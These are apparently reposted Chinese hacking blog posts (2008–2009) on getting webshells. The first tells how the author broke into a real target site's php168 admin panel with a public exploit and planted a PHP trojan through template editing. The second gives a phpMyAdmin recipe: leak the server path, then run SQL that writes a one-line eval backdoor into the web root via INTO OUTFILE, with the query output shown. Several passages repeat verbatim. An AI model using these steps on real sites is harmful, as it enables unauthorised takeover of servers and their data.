php168 v2008后台拿shell方法
[ 2009/03/16 21:32 | by selboo ]
作者：Vcor [BHST]
昨天在搞一个站，发现是php168，记得最近狼族牛人有人爆出了php168提升权限的漏洞，马上到sebug找到exp，说着就动手搞。
很快就进入后台了。php168之前没搞过，所以不熟悉，无奈就问了几个朋友，都说不熟悉，就自己动手丰衣足食。说干就干，本地搭建php环境测试。
发现了下面这个方法：
首先进入后台，然后"其他功能"->"模板管理"->然后点"增加页面"，如图1
创建完成后，回到模板管理，然后点击你刚才创建的模板后面的""修改模板。如图2
在里面写入你的php木马，就这个ok了。。一个shell。
后来利用这个方法拿到了目标站的webshell 。可能大家有更好的方法，可以提出来一起学习
昨天在搞一个站，发现是php168，记得最近狼族牛人有人爆出了php168提升权限的漏洞，马上到sebug找到exp，说着就动手搞。
很快就进入后台了。php168之前没搞过，所以不熟悉，无奈就问了几个朋友，都说不熟悉，就自己动手丰衣足食。说干就干，本地搭建php环境测试。
发现了下面这个方法：
首先进入后台，然后"其他功能"->"模板管理"->然后点"增加页面"，如图1
创建完成后，回到模板管理，然后点击你刚才创建的模板后面的""修改模板。如图2
在里面写入你的php木马，就这个ok了。。一个shell。
后来利用这个方法拿到了目标站的webshell 。可能大家有更好的方法，可以提出来一起学习
phpMyAdmin 后台拿webshell
[ 2008/09/22 12:41 | by selboo ]
1.如何拿到登陆密码，自己想办法。
2.访问 : http://url/phpmyadmin/libraries/select_lang.lib.php 得到物理路径.
3.选择一个Database.运行以下语句.
----start code---
Create TABLE a (cmd text NOT NULL);
Insert INTO a (cmd) VALUES('<?php eval($_POST[1]);?>');
select cmd from a into outfile 'F:/Program Files/Apache Group/Apache2/htdocs/phpMyAdmin/d.php/d.php';
Drop TABLE IF EXISTS a;
----end code---
Create TABLE a (cmd text NOT NULL);
Insert INTO a (cmd) VALUES('<?php eval($_POST[1]);?>');
select cmd from a into outfile 'F:/Program Files/Apache Group/Apache2/htdocs/phpMyAdmin/d.php/d.php';
Drop TABLE IF EXISTS a;
----end code---
4.如果没什么意外.对应网站得到webshell
您运行的 SQL 语句已经成功运行了。
SQL 查询:
CREATE TABLE a(
cmd text NOT NULL
);# MySQL 返回的查询结果为空(即零行)。
INSERT INTO a( cmd )
VALUES (
'<?php eval($_POST[1]);?>'
);# 影响列数： 1
SELECT cmd
FROM a
INTO OUTFILE 'F:/Program Files/Apache Group/Apache2/htdocs/phpMyAdmin/d.php';# 影响列数： 1
DROP TABLE IF EXISTS a;# MySQL 返回的查询结果为空(即零行)。
CREATE TABLE a(
cmd text NOT NULL
);# MySQL 返回的查询结果为空(即零行)。
INSERT INTO a( cmd )
VALUES (
'<?php eval($_POST[1]);?>'
);# 影响列数： 1
SELECT cmd
FROM a
INTO OUTFILE 'F:/Program Files/Apache Group/Apache2/htdocs/phpMyAdmin/d.php';# 影响列数： 1
DROP TABLE IF EXISTS a;# MySQL 返回的查询结果为空(即零行)。
